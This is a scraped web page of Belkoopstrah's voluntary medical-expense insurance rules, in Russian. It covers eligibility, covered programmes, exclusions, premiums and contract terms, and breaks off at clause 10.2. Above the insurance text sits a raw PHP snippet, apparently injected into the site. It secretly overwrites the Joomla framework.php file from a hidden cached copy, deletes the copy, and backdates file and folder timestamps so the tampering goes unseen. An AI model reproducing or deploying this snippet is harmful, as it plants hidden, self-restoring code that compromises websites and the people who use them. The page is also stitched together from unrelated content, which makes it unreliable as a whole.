$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } rules-voluntary-insurance-medical-expenses-belkoopstrah
Центр страхования организаций и граждан

PDF Печать E-mail

Правила добровольного страхования медицинских расходов («Белкоопстрах»)

 

согласованы Министерством финансов РБ 17.03.2005 № 547 (с учетом изменений и дополнений, согласованных Министерством финансов РБ 02.08.2010 № 882, 06.10.2010 № 914, 20.07.11.  № 120, 25.02.2015 № 389, 24.06.2015 № 461, 13.07.2015 № 467, 22.12.2015 № 535, вступают в силу с 31.12.2015).

 

 

 

 

I. ОБЩИЕ ПОЛОЖЕНИЯ

  1. 1. Страховщик и Страхователь

1.1.         В соответствии с законодательством Республики Беларусь и на условиях настоящих Правил Страховое общество с ограниченной ответственностью «Белкоопстрах» (далее – Страховщик) заключает с юридическими и дееспособными физическими лицами (далее – Страхователи) договоры добровольного страхования медицинских расходов (далее – договоры добровольного страхования).

Настоящие Правила являются неотъемлемой частью договора добровольного страхования.

Субъектами добровольного страхования медицинских расходов выступают Страховщик, Страхователь, Застрахованное лицо, Выгодоприобретатель.

Страхователи - физические лица вправе заключать договоры страхования в свою пользу или в пользу третьих лиц (далее – Застрахованные лица).

Если договор страхования заключен Страхователем в свою пользу, на него распространяются права и обязанности Застрахованного лица, предусмотренные настоящими Правилами.

1.2.         Страхователи - юридические лица вправе заключать договоры добровольного страхования в пользу физических лиц (Застрахованных лиц), в том числе своих работников.

1.3.         Застрахованными лицами могут быть физические лица старше 1 (одного) года.

1.4.          Выгодоприобретатель - организация здравоохранения и индивидуальные предприниматели, зарегистрированные и действующие в соответствии с законодательством Республики Беларусь, имеющие специальное разрешение (лицензию) на осуществление медицинской (фармацевтической) деятельности.

1.5.          Страховщик не заключает договоры добровольного страхования медицинских расходов с лицами, которые на момент заключения договора:

  • ВИЧ-инфицированы,
  • имеют злокачественные новообразования, в том числе онкогематологические,
    • являются инвалидами I или II групп,
    • госпитализированы,
    • имеют тяжелые заболевания эндокринной системы,
    • больны наркологическими, психическими, венерическими заболеваниями.

1.6.          Иностранные граждане и лица без гражданства, проживающие в Республике Беларусь, вправе заключать договор добровольного страхования в соответствии с настоящими Правилами.

1.7. Программа страхования медицинских расходов – неотъемлемая часть Правил добровольного страхования медицинских расходов, содержащая перечень медицинских мероприятий определенного объема, предоставление которого гарантировано Застрахованному лицу договором добровольного страхования медицинских расходов при его обращении в организацию здравоохранения за медицинской помощью вследствие внезапного расстройства здоровья или несчастного случая.

Индивидуальная программа страхования медицинских расходов содержит одну из программ страхования медицинских расходов, указанную в подпунктах 4.1.1. – 4.1.3. пункта 4.1. настоящих Правил, а также дополнительные медицинские мероприятия, указанные в подпунктах 4.4.1. – 4.4.6. пункта 4.4. настоящих Правил. Предоставление перечня медицинских мероприятий, включенных в индивидуальную программу страхования медицинских расходов, гарантировано Застрахованному лицу договором страхования, предусматривающим страхование по индивидуальной программе страхования медицинских расходов с указанием перечня медицинских мероприятий в договоре страхования, при его обращении в организацию здравоохранения за медицинской помощью вследствие внезапного расстройства здоровья или несчастного случая. Возмещение перечня медицинских расходов по индивидуальной программе страхования медицинских расходов осуществляется в пределах установленных страховых сумм по каждой программе страхования медицинских расходов.

 

  1. Объект страхования

2.1.          Объектом добровольного страхования медицинских расходов являются не противоречащие законодательству имущественные интересы Страхователя либо Застрахованного лица, связанные с компенсацией расходов организации здравоохранения, вызванных его обращением в организацию здравоохранения за оказанием медицинской помощи, включенной в программу страхования медицинских расходов или индивидуальную программу страхования медицинских расходов, вследствие внезапного расстройства здоровья или несчастного случая.

2.2.         Внезапное расстройство здоровья – резкое ухудшение состояния здоровья Застрахованного лица.

Несчастный случай – внезапное, непредвиденное событие, происшедшее с Застрахованным лицом в период действия договора добровольного страхования медицинских расходов, сопровождающееся травмами, ранениями, увечьями или иными повреждениями здоровья.

  1. Страховой случай

3.1.          Страховым случаем является факт понесенных организацией здравоохранения расходов, вызванных обращением Застрахованного лица в организацию здравоохранения за оказанием медицинской помощи, включенной в программу страхования медицинских расходов или индивидуальную программу страхования медицинских расходов, вследствие внезапного расстройства здоровья или несчастного случая, наступившего в период действия договора добровольного страхования.

3.2.          При наступлении страхового случая Страховщик покрывает расходы за оказание медицинских услуг.

  1. Расходы, покрываемые Страховщиком

4.1.          Страхователю при заключении договора страхования предлагаются следующие пакеты программ страхования медицинских расходов (далее – программы добровольного страхования):

4.1.1. Базовые программы страхования

4.1.2.Программы «Бизнес»

4.1.3.  Программы «Люкс»

4.1.4.Унифицированная программа добровольного страхования медицинских расходов (Приложение № 6 к настоящим Правилам).

 

4.1.1.      Базовые программы страхования

Программа страхования медицинских расходов «Амбулаторно-поликлиническая помощь»

Страховщик оплачивает расходы на лечение Застрахованного лица в амбулаторных условиях по поводу внезапного расстройства здоровья или несчастного случая.

Амбулаторная помощь при наступлении страхового случая включает:

  • консультации и другие профессиональные услуги врачей;
  • проведение лабораторных исследований;
  • проведение диагностических тестов, включая ультразвук и рентген и др., исключая высокоточные методы исследования (ЯМР, компьютерная томография);
    • помощь врача на дому.

 

Программа страхования медицинских расходов «Стационарная помощь»

Страховщик оплачивает расходы на лечение Застрахованного лица в условиях стационара по поводу внезапного расстройства здоровья или несчастного случая, а также услуги бригады неотложной медицинской помощи.

Стационарная помощь предоставляется только при наступлении экстренных терапевтических и хирургических состояний.

Стационарная помощь при наступлении страхового случая включает (в условиях стационара, в том числе дневного):

  • установление диагноза (проведение диагностических тестов, включая ультразвук и рентген и др.);
    • проведение лабораторных исследований;
    • консультации и другие профессиональные услуги врачей;
    • пребывание в 2-3-х местной палате, в исключительных случаях (в случае угрозы жизни, здоровью) при экстренной госпитализации Застрахованного лица в организации здравоохранения, с которыми у Страховщика есть договора на оказание медицинской помощи, госпитализация производится с использованием имеющегося в наличии свободного коечного фонда отделения с последующим решением вопроса о плановом переводе в сервисную палату данной организации здравоохранения или профильного отделения иной организации здравоохранения. При экстренной госпитализации Застрахованного лица в организацию здравоохранения, с которой у Страховщика не заключен договор на оказание медицинской помощи, меры по переводу Застрахованного в организацию здравоохранения, с которой заключен договор на оказание медицинской помощи, могут предприниматься только при условии отсутствия угрозы жизни и здоровью Застрахованного лица, подтвержденном лечащим врачом и заведующим отделением;
      • лечение, питание, медицинский уход;
      • пребывание в отделении интенсивной терапии;
      • использование операционной и послеоперационной палат;
      • лечебные манипуляции (перевязки, туалет ран, инъекции и т.д.);
      • анестетики и их введение;

•   проведение физиотерапии и лечебной физкультуры, предписанных врачом и необходимых для восстановления после заболеваний, травм и медицинских состояний, покрываемых данной страховой программой.

 

Программа страхования медицинских расходов «Неотложная помощь»

Страховщик оплачивает расходы на:

  • выезд бригады неотложной медицинской помощи;
  • первичный осмотр больного;
  • установление предварительного диагноза;

•   оказание неотложной медицинской помощи, включая проведение мероприятий по профилактике шока, тромбоэмболии и других угрожающих жизни Застрахованного лица состояний (дача кислорода, необходимые инъекции);

•   перевозка для госпитализации Застрахованного лица.

 

Программа страхования медицинских расходов «Стоматологическая помощь»

Страховщик оплачивает расходы на:

  • осмотр стоматолога;
  • лечение острого состояния.

 

4.1.2.      Программы «Бизнес»

Программа страхования медицинских расходов «Амбулаторно-поликлиническая помощь»

Страховщик оплачивает расходы на лечение Застрахованного лица в амбулаторных условиях по поводу внезапного расстройства здоровья или несчастного случая.

Амбулаторная помощь при наступлении страхового случая включает:

  • консультации и другие профессиональные услуги врачей;
  • углубленное диагностическое обследование всех органов и систем (лабораторная, ультразвуковая, эндоскопическая, функциональная и др. диагностики);
  • радионуклидные, рентгенологические, ультразвуковые и др. методы исследования, включая ЯМР, компьютерную томографию;
    • помощь врача на дому;
    • проведение восстановительной терапии;
    • медикаментозное лечение, после заболеваний, травм и медицинских состояний, покрываемых условиями страхования, в пределах 200 $ в эквиваленте.

 

Программа страхования медицинских расходов «Стационарная помощь»

Страховщик оплачивает расходы на лечение Застрахованного лица в условиях стационара по поводу внезапного расстройства здоровья или несчастного случая, а также услуги бригады неотложной медицинской помощи.

Стационарная помощь предоставляется при наступлении экстренных и плановых терапевтических и хирургических состояний.

Стационарная помощь при наступлении страхового случая включает (в условиях стационара, в том числе дневного):

  • установление диагноза (проведение диагностических тестов, включая ультразвук и рентген и др.);
    • проведение лабораторных исследований;
    • консультации и другие профессиональные услуги врачей;
    • пребывание в 1 -2-х местной палате, в исключительных случаях (в случае угрозы жизни, здоровью) при экстренной госпитализации Застрахованного лица в организации здравоохранения, с которыми у Страховщика есть договора на оказание медицинской помощи, госпитализация производится с использованием имеющегося в наличии свободного коечного фонда отделения с последующим решением вопроса о плановом переводе в сервисную палату данной организации здравоохранения или профильного отделения иной организации здравоохранения. При экстренной госпитализации Застрахованного лица в организацию здравоохранения, с которой у Страховщика не заключен договор на оказание медицинской помощи, меры по переводу Застрахованного в организацию здравоохранения, с которой заключен договор на оказание медицинской помощи, могут предприниматься только при условии отсутствия угрозы жизни и здоровью Застрахованного лица, подтвержденном лечащим врачом и заведующим отделением;
      • лечение, питание, медицинский уход;
      • пребывание в отделении интенсивной терапии;
      • использование операционной и послеоперационной палат;
      • лечебные манипуляции (перевязки, туалет ран, инъекции и т.д.);
      • проведение реконструктивной хирургии, являющейся дополняющей к проведенному оперативному вмешательству;
        • анестетики и их введение;
        • проведение физиотерапии и лечебной физкультуры, предписанных врачом и необходимых для восстановления после заболеваний, травм и медицинских состояний, покрываемых данной страховой программой.

 

Программа страхования медицинских расходов «Неотложная помощь»

Страховщик оплачивает расходы на:

  • выезд бригады неотложной медицинской помощи;
  • первичный осмотр больного;
  • установление предварительного диагноза;
  • оказание неотложной медицинской помощи, включая проведение мероприятий по профилактике шока, тромбоэмболии и других угрожающих жизни Застрахованного лица состояний (дача кислорода, необходимые инъекции);
    • перевозка для госпитализации Застрахованного лица.

 

Программа страхования медицинских расходов «Стоматологическая помощь»

Страховщик оплачивает расходы на:

  • осмотр стоматолога;
  • лечение острого состояния;
  • диагностические манипуляции;
  • лечение заболеваний полости рта не более одного раза в течение срока действия договора страхования.

 

4.1.3.      Программы «Люкс»

Программа страхования медицинских расходов «Амбулаторно-поликлиническая помощь»

Страховщик оплачивает расходы на лечение Застрахованного лица в амбулаторных условиях по поводу внезапного расстройства здоровья или несчастного случая.

Амбулаторная помощь при наступлении страхового случая включает:

  • консультации и другие профессиональные услуги врачей;
  • углубленное диагностическое обследование всех органов и систем (лабораторная, ультразвуковая, эндоскопическая, функциональная и др. диагностики);
  • радионуклидные, рентгенологические, ультразвуковые и др. методы исследования, включая ЯМР, компьютерную томографию;
    • помощь врача на дому;
    • проведение восстановительной терапии;
    • медикаментозное лечение после всех заболеваний, травм и медицинских состояний, покрываемых условиями страхования.

 

Программа страхования медицинских расходов «Стационарная помощь»

Страховщик оплачивает расходы на лечение Застрахованного лица в условиях стационара по поводу внезапного расстройства здоровья или несчастного случая, а также услуги бригады неотложной медицинской помощи.

Стационарная помощь предоставляется при наступлении экстренных и плановых терапевтических и хирургических состояний.

Стационарная помощь при наступлении страхового случая включает (в условиях стационара, в том числе дневного):

  • установление диагноза (проведение диагностических тестов, включая ультразвук и рентген и др.);
    • проведение лабораторных исследований;
    • консультации и другие профессиональные услуги врачей;
    • пребывание в 1-местной палате, в исключительных случаях (в случае угрозы жизни, здоровью) при экстренной госпитализации Застрахованного лица в организации здравоохранения, с которыми у Страховщика есть договора на оказание медицинской помощи, госпитализация производится с использованием имеющегося в наличии свободного коечного фонда отделения с последующим решением вопроса о плановом переводе в сервисную палату данной организации здравоохранения или профильного отделения иной организации здравоохранения. При экстренной госпитализации Застрахованного лица в организацию здравоохранения, с которой у Страховщика не заключен договор на оказание медицинской помощи, меры по переводу Застрахованного в организацию здравоохранения, с которой заключен договор на оказание медицинской помощи, могут предприниматься только при условии отсутствия угрозы жизни и здоровью Застрахованного лица, подтвержденном лечащим врачом и заведующим отделением;
      • лечение, питание, медицинский уход;
      • пребывание в отделении интенсивной терапии;
      • использование операционной и послеоперационной палат;
      • лечебные манипуляции (перевязки, туалет ран, инъекции и т.д.);
      • анестетики и их введение;
      • проведение физиотерапии и лечебной физкультуры, предписанных врачом и необходимых для восстановления после заболеваний, травм и медицинских состояний, покрываемых данной страховой программой;
      • проведение реконструктивной хирургии, являющейся дополняющей к проведенному оперативному вмешательству.

 

Программа страхования медицинских расходов «Неотложная помощь»

Страховщик оплачивает расходы на:

  • выезд бригады неотложной медицинской помощи;
  • первичный осмотр больного;
  • установление предварительного диагноза;
  • оказание неотложной медицинской помощи, включая проведение мероприятий по профилактике шока, тромбоэмболии и других угрожающих жизни Застрахованного лица состояний (дача кислорода, необходимые инъекции);
    • перевозка для госпитализации Застрахованного лица.

 

Программа страхования медицинских расходов «Стоматологическая помощь»

Страховщик оплачивает расходы на:

  • осмотр стоматолога;
  • лечение острого состояния;
  • диагностические манипуляции;
  • лечение заболеваний полости рта не более двух раз в течение срока действия договора страхования.

 

4.2.          Застрахованные лица имеют индивидуальное право выбора про­грамм добровольного страхования.

4.3.          Застрахованные лица по программе страхования медицинских расходов «Стоматологическая помощь» принимаются на страхование при условии включения в договор страхования программы страхования медицинских расходов «Амбулаторно-поликлиническая помощь» со страховой суммой не ниже 1000 долларов США.

4.4. При формировании индивидуальных программ страхования медицинских расходов дополнительно к программам страхования медицинских расходов по соглашению сторон принимаются на страхование следующие медицинские мероприятия:

4.4.1. диагностика и лечение заболеваний и инфекций, передающихся половым путем (уреаплазмоз, гарднереллез, хламидиоз, микоплазмоз, кандида албиканс, трихомониаз, гонорея);

4.4.2. офтальмокоррекция (подбор очков, линз, коррекция с помощью лазерных аппаратов и оперативного лечения) за исключением случаев острых и хронических воспалительных заболеваний глаз и придаточного аппарата в стадии обострения, а также травм и ожогов;

4.4.3. вакцинопрофилактика против гриппа;

4.4.4. медикаментозное лечение после заболеваний, травм и медицинских состояний, покрываемых условиями страхования, в пределах суммы, установленной в белорусских рублях, эквивалентной 250 долларам США по официальному курсу белорусского рубля к доллару США, установленному Национальным банком Республики Беларусь на дату заключения договора страхования;

4.4.5. ведение беременности и родов;

4.4.6. реабилитационно-восстановительное лечение в условиях санатория.

Дополнительные медицинские мероприятия, предусмотренные частью первой настоящего пункта, принимаются на страхование, если данное условие указано Страхователем в заявлении на страхование (Приложение № 2 к настоящим Правилам). При формировании индивидуальной программы страхования медицинских расходов для расчета страхового тарифа к базовому страховому тарифу по соответствующей программе страхования медицинских расходов применяются утвержденные Страховщиком корректировочные коэффициенты по соответствующим дополнительным медицинским мероприятиям, принятым на страхование согласно подпунктам 4.4.1. – 4.4.6. пункта 4.4. настоящих Правил.

  1. Расходы, не покрываемые Страховщиком

5.1.          В соответствии с настоящими Правилами Страховщик не возмещает расходы, связанные с лечением и диагностикой следующих заболеваний и предоставлением медицинских услуг:

5.1.1.           психические заболевания и их осложнения, а также различные травмы и соматические заболевания, возникшие в связи с заболеваниями психической природы;

5.1.2.           заболевания и травмы, причиной которых явилось злоупотребление алкоголем, наркотическими или токсическими веществами;

5.1.3.           травмы, полученные Застрахованным лицом при управлении им любым транспортным средством в состоянии алкогольного, наркотического или токсического опьянения, а также при передаче им управления лицу, находящемуся в состоянии алкогольного, наркотического или токсического опьянения;

5.1.4.           туберкулез, независимо от клинической формы и стадии процесса;

5.1.5.           злокачественные онкологические заболевания, а также их осложнения, заболевания крови онкогематологической природы;

5.1.6.           хроническая почечная недостаточность, требующая проведения гемодиализа;

5.1.7.           осложнения, являющиеся следствием нарушений застрахованным лицом курса лечения или лечебного режима;

5.1.8.           гепатит С, Д, цирроз;

5.1.9.           псориаз;

5.1.10.      острые и хронические лучевые поражения;

5.1.11.      травмы, отравления, ожоги, полученные Застрахованным лицом в результате покушения на самоубийство;

5.1.12.      пластическая хирургия, ортопедия;

5.1.13.      зубопротезирование, ортодонтия, косметические процедуры, за исключением случаев, связанных с восстановлением или коррекцией после несчастного случая, возникшего в период действия договора страхования;

5.1.14.      изменение веса или хирургическое лечение ожирения;

5.1.15.      переливание крови и ее компонентов, за исключением случаев, согласованных со Страховщиком и лечащим врачом;

5.1.16.      профессиональные заболевания;

5.1.17.      предоставление дополнительного комфорта в стационарном учреждении: кондиционера, услуг парикмахера или косметолога и т.п.;

5.1.18.      лечение, не назначенное врачом и не являющееся необходимым с медицинской точки зрения для лечения и диагностики заболевания;

5.1.19.      получение Застрахованным лицом медицинских услуг, которые не предусмотрены договором страхования;

5.1.20.      предоставление услуг в тех медицинских учреждениях, которые не были согласованы со Страховщиком и не предусмотрены страховой медицинской программой;

5.1.21.      косметология;

5.1.22.      диагностика и лечение заболеваний и инфекций, передающихся половым путем (уреаплазмоз, гарднереллез, хламидиоз, микоплазмоз, кандида албиканс, трихомониаз, гонорея), если иное не предусмотрено договором страхования согласно индивидуальной программе страхования медицинских расходов;

5.1.23.      использование и подбор корригирующих медицинских устройств или приспособлений (трансплантантов, эндопротезов, протезов, имплантантов, а также расходы на приобретение медицинского оборудования, изделий медицинского назначения и предметов по уходу за больным);

5.1.24.      офтальмокоррекция (коррекция с помощью лазерных аппаратов и оперативного лечения), за исключением случаев острых и хронических воспалительных заболеваний глаз и придаточного аппарата в стадии обострения, а также травм и ожогов, если иное не предусмотрено договором страхования согласно индивидуальной программе страхования медицинских расходов;

5.1.25.      плановое лечение заболеваний глаз и придаточного аппарата, являющихся осложнением сахарного диабета, плановое лечение катаракты, глаукомы, дегенеративных заболеваний сетчатки, роговицы, зрительного нерва, зрительных расстройств, слепоты и понижения зрения (за исключением случаев острых и хронических воспалительных заболеваний глаз и придаточного аппарата в стадии обострения, а также травм и ожогов, проверки остроты зрения с атропинизацией);

5.1.26.      приобретение лекарственных препаратов, не связанных с лечением внезапного расстройства здоровья или последствий несчастного случая;

5.1.27.      хронические заболевания, кроме случаев их обострения;

5.1.28.      вакцинопрофилактика против гриппа, если иное не предусмотрено договором страхования согласно индивидуальной программе страхования медицинских расходов;

5.1.29.      ведение беременности и родов, если иное не предусмотрено договором страхования согласно индивидуальной программе страхования медицинских расходов;

5.1.30. медикаментозное лечение после заболеваний, травм и медицинских состояний, если иное не предусмотрено договором страхования согласно индивидуальной программе страхования медицинских расходов;

5.1.31. реабилитационно-восстановительное лечение в условиях санатория, если иное не предусмотрено договором страхования согласно индивидуальной программе страхования медицинских расходов.

  1. Страховая сумма, страховые взносы, форма и порядок их уплаты

6.1.          Страховая сумма – сумма денежных средств, согласованная между Страхователем и Страховщиком, установленная договором страхования, в пределах которой Страховщик обязан произвести выплату страхового обеспечения при наступлении страхового случая.

Страховая сумма устанавливается в белорусских рублях или иностранной валюте по соглашению сторон.

В пределах страховой суммы по договору страхования устанавливаются страховые суммы по каждой Программе страхования медицинских расходов.

6.2.          Страховым взносом является сумма денежных средств, подлежащая уплате Страхователем Страховщику за страхование.

При определении размера страхового взноса, подлежащего уплате по договору страхования, стороны применяют разработанные Страховщиком и согласованные с органом государственного надзора за страховой деятельностью страховые тарифы (Приложение № 1 к настоящим Правилам), определяющие страховой взнос с единицы страховой суммы, и корректировочные коэффициенты к ним с учетом условий страхования и характера страхового риска.

При установлении страховой суммы в иностранной валюте страховой взнос, исчисленный в валюте страховой суммы, может быть уплачен в иностранной валюте (в случаях, предусмотренных законодательством Республики Беларусь) либо в белорусских рублях по официальному курсу белорусского рубля по отношению к валюте страховой суммы, установленному Национальным банком Республики Беларусь на день уплаты страхового взноса или его части, если иной курс или иная дата его определения не установлены соглашением сторон.

6.3.          Договор добровольного страхования для группы лиц может быть заключен по разным программам добровольного страхования для каждого застрахованного лица. В этом случае страховой взнос по договору добровольного страхования определяется путем суммирования страховых взносов по каждому застрахованному лицу.

6.4.          Страховые взносы по договорам страхования уплачиваются:

а)      безналичным путем – на расчетный счет Страховщика (его представителя);

б)      наличным путем – в кассу Страховщика или его представителю.

6.5.          При сроке действия договора страхования менее одного года страховой взнос уплачивается Страхователем единовременно при заключении договора страхования.

Страховой взнос по договору страхования, заключенному на срок 1 год, уплачивается Страхователем по соглашению со Страховщиком единовременно при заключении договора страхования или в рассрочку: в два срока, поквартально, ежемесячно. При уплате страхового взноса в два срока первая часть страхового взноса в размере не менее 1/2 подлежащего уплате страхового взноса уплачивается при заключении договора страхования, а оставшаяся часть в течение 6 (шести) месяцев после заключения договора страхования. При поквартальной уплате страхового взноса первая его часть в размере не менее 1/4 суммы страхового взноса уплачивается Страхователем при заключении договора страхования, а оставшаяся часть уплачивается равными долями не позднее последнего дня оплаченного периода страхования (квартала). При ежемесячной уплате страхового взноса первая часть страхового взноса в размере не менее 1/12 суммы годового страхового взноса уплачивается Страхователем при заключении договора страхования, а оставшаяся часть страхового взноса уплачивается равными долями не позднее последнего дня оплаченного периода страхования (месяца).

Днем уплаты страхового взноса считается:

а)      при безналичной оплате - день поступления страхового взноса (первой его части) на расчетный счет Страховщика (его представителя);

б)      при наличной оплате - день уплаты страхового взноса (первой его части) в кассу Страховщика или его представителю;

6.6.          В случае неуплаты очередной части страхового взноса в установленный договором страхования срок Страховщик вправе:

6.6.1.   прекратить действие договора страхования с 00 часов 00 минут дня, следующего за последним днем установленного срока уплаты очередной части страхового взноса;

6.6.2.   начислить пеню в размере 0,1% от неуплаченной в срок суммы страхового взноса за каждый день просрочки при продолжении договора добровольного страхования и при наличии письменных обязательств Страхователя погасить имеющуюся задолженность просроченной суммы страхового взноса в течение 30 календарных дней со дня просрочки платежа. При неуплате просроченной суммы страхового взноса и пени в течение установленного срока, договор страхования прекращает действовать с 00 часов 00 минут дня, следующего за последним днем 30 календарных дней, в течение которых Страхователь обязан произвести оплату просроченной суммы страхового взноса.

6.6.3.   предоставить Страхователю (постоянному клиенту) льготный период для внесения очередной части страхового взноса в количестве 30 календарных дней от последнего дня оплаченного срока действия договора страхования. При наступлении в этот срок страхового случая у Застрахованного лица, при наличии письменных обязательств Страхователя о внесении оплаты, Страховщик вправе, определяя размер подлежащего выплате страхового обеспечения, зачесть сумму просроченного страхового взноса.

Постоянным клиентом считается Страхователь, неоднократно заключавший договора страхования на срок не менее одного года.

 

II. Договор страхования

 

  1. Порядок заключения договора страхования

7.1.          Договор страхования заключается на основании письменного заявления Страхователя. Страхователь - юридическое лицо заполняет заявление (Приложение №2) с приложением списка лиц, подлежащих страхованию (Приложение №3), Страхователь - физическое лицо – письменное заявление (Приложение №2). До заключения договора страхования лицо, впервые подлежащее страхованию, заполняет анкету о состоянии своего здоровья (Приложение №4), где указывает наличие или отсутствие хронической патологии, и на основании данных анкеты по решению Страховщика может быть направлено на медицинское освидетельствование за счет средств Страхователя.

На основании полученных данных Страховщик принимает решение о заключении договора страхования.

Договор страхования заключается на условиях Правил страхования, утвержденных Страховщиком и согласованных с органом, осуществляющим государственный надзор за страховой деятельностью, принятых Страхователем путем присоединения к договору страхования.

Условия, содержащиеся в Правилах страхования, в том числе не включенные в текст договора страхования или страхового полиса, обязательны для Страховщика, Страхователя, Застрахованного лица и Выгодоприобретателя.

7.2.          При заключении договора страхования лицо, подлежащее страхованию, обязано сообщить Страховщику известные ему обстоятельства, имеющие существенное значение для определения вероятности наступления страхового случая и размера возможных убытков от его наступления (страхового риска), если эти обстоятельства не известны и не могли быть известны Страховщику.

Существенными признаются во всяком случае обстоятельства, предусмотренные в договоре добровольного страхования или страховом полисе на основании письменного заявления Страхователя.

Если договор страхования заключен при отсутствии ответов Страхователя на какие-либо поставленные вопросы Страховщика, Страховщик не может впоследствии требовать расторжения договора добровольного страхования либо признания его недействительным на том основании, что существенные обстоятельства не были сообщены Страхователем.

Если после заключения договора страхования будет установлено, что Страхователь сообщил Страховщику заведомо ложные сведения об обстоятельствах, имеющих существенное значение для определения вероятности наступления страхового случая и размера возможных убытков от его наступления, Страховщик вправе потребовать признания договора недействительным.

7.3.          В период действия договора добровольного страхования Страхователь (Застрахованное лицо) обязан незамедлительно сообщить Страховщику о ставших ему известными значительных изменениях в обстоятельствах, сообщенных Страховщику при заключении договора (пункт 7.2.), если эти изменения могут существенно повлиять на увеличение страхового риска.

Страховщик, уведомленный об обстоятельствах, влекущих увеличение страхового риска вправе потребовать изменения условий договора добровольного страхования или уплаты дополнительного страхового взноса соразмерно увеличению риска в соответствии с формулой:

Р = (Т2-Т1) х N/M ,

где: Р – дополнительный страховой взнос,

Т1 – первоначальный страховой взнос,

Т2 – страховой взнос, рассчитанный соразмерно увеличению степени риска,

N – срок действия договора страхования в календарных днях, оставшихся до окончания действия договора страхования с момента увеличения степени риска,

M – срок действия договора страхования (календарных дней).

Если Страхователь возражает против изменения условий договора страхования или уплаты дополнительного страхового взноса, Страховщик вправе потребовать расторжение договора страхования в соответствии с главой 29 Гражданского Кодекса Республики Беларусь.

Страховщик не вправе требовать расторжения договора страхования, если обстоятельства, влекущие увеличение страхового риска уже отпали.

Страхователь вправе заменить Застрахованное лицо, названное в договоре страхования, другим лицом, лишь с согласия самого застрахованного лица и Страховщика. Застрахованное лицо не может быть заменено другим лицом после того, как он выполнил какую-либо из обязанностей по договору страхования или предъявил Страховщику требование о выплате страхового обеспечения.

7.4.          При заключении договора страхования Страхователю выдаются правила страхования (что удостоверяется записью в страховом полисе) и идентификационные карточки (на каждого застрахованного).

7.5.          В случае утраты полиса Страховщик в период действия договора страхования на основании письменного заявления Страхователя (Застрахованного лица) выдает дубликат полиса, после чего утраченный полис считается недействительным, и выплаты по нему не производятся.

7.6.          В случае реорганизации в период действия договора Страхователя - юридического лица права и обязанности по договору страхования переходят к его правопреемнику с согласия Страховщика.

Страховщик вправе требовать от Застрахованного лица выполнения обязанностей по договору страхования, включая обязанности, лежащие на Страхователе, но не выполненные им, при предъявлении Застрахованным требования о выплате страхового обеспечения.

7.7.          Страховщик не вправе разглашать полученные им в результате своей профессиональной деятельности сведения о Страхователе, Застрахованном лице, состоянии их здоровья, за исключением случаев, предусмотренных законодательством.

7.8.          Застрахованное лицо не препятствует медицинским работникам, в случае необходимости, сообщать Страховщику сведения о состоянии здоровья Застрахованного лица.

  1. Срок действия договора страхования. Территория действия договора страхования

8.1.          Договор добровольного страхования заключается сроком от одного месяца до одного года включительно.

8.2.          Договор добровольного страхования вступает в силу с момента уплаты страхового взноса или первой его части, если иное не предусмотрено договором добровольного страхования.

8.3.          Действие договора добровольного страхования распространяется на страховые случаи, произошедшие на территории Республики Беларусь.

  1. Прекращение договора страхования

9.1.          Договор добровольного страхования прекращается в следующих случаях:

9.1.1.           истечения срока действия договора добровольного страхования;

9.1.2.           выполнения Страховщиком своих обязательств в полном объеме;

9.1.3.           неуплаты Страхователем очередной части страховых взносов в установленные договором страхования сроки, а в случаях, указанных в пунктах 6.6.2. и 6.6.3. настоящих Правил, неуплаты просроченной части страхового взноса и пени по истечении 30 календарных дней;

9.1.4.           ликвидации Страхователя - юридического лица, смерти Страхователя - физического лица, кроме случая, предусмотренного подпунктом 9.1.8. пункта 9.1. настоящих Правил;

9.1.5.           по инициативе Страховщика при обнаружении у Застрахованного лица в период действия договора заболеваний, перечисленных в пункте 1.5. настоящих Правил, а также при получении Застрахованным лицом инвалидности 1 и 2 групп;

9.1.6.           по соглашению между Страхователем и Страховщиком, оформленному в письменном виде;

9.1.7.           по инициативе Страхователя в любое время действия договора, если к моменту отказа возможность наступления страхового случая не отпала по причинам иным, чем наступление страхового случая. При этом уплаченный Страховщику страховой взнос возврату не подлежит;

9.1.8.           в случае смерти Страхователя - физического лица, заключившего договор добровольного страхования в пользу иных Застрахованных лиц, его права и обязанности переходят к этим лицам;

9.1.9.           принятия судом решения о признании договора страхования недействительным.

9.2.          При досрочном прекращении договора добровольного страхования в соответствии с подпунктами 9.1.4., 9.1.5., 9.1.6. пункта 9.1. настоящих Правил и при отсутствии страховых выплат по договору добровольного страхования Страховщик возвращает Страхователю часть страхового взноса пропорционально времени, оставшемуся с момента расторжения договора до момента окончания срока действия договора страхования, в течение 10 рабочих дней со дня расторжения договора. За несвоевременный возврат части страхового взноса по вине Страховщика Страхователю выплачивается пеня в размере 0,5% – физическому лицу, 0,1% – юридическому лицу – от суммы, подлежащей возврату, за каждый день просрочки.

9.3.          При досрочном прекращении договора добровольного страхования по требованию Страхователя, он обязан подать заявление о расторжении договора добровольного страхования за 15 календарных дней до предполагаемой даты прекращения договора добровольного страхования.

9.4.          При досрочном прекращении договора добровольного страхования неполный месяц принимается за полный.

9.5.          Ответственность Страховщика по договору страхования прекращается в 00 часов 00 минут дня, указанного в договоре страхования как дата прекращения договора страхования.

  1. Права и обязанности сторон

10.1. Страхователь имеет право:

10.1.1.      требовать предоставления Застрахованному лицу в организациях здравоохранения медицинской помощи, определенной в договоре страхования, в соответствии с условиями страхования и программой добровольного страхования;

10.1.2.      осуществлять контроль за выполнением условий договора добровольного страхования;

10.1.3.      отказаться от договора добровольного страхования в соответствии с настоящими Правилами;

10.1.4.      ознакомиться с условиями договора добровольного страхования;

10.1.5.      уплачивать страховой взнос по договору добровольного страхования в соответствии с настоящими Правилами единовременно либо по соглашению сторон в рассрочку.

10.2. Страхователь обязан:

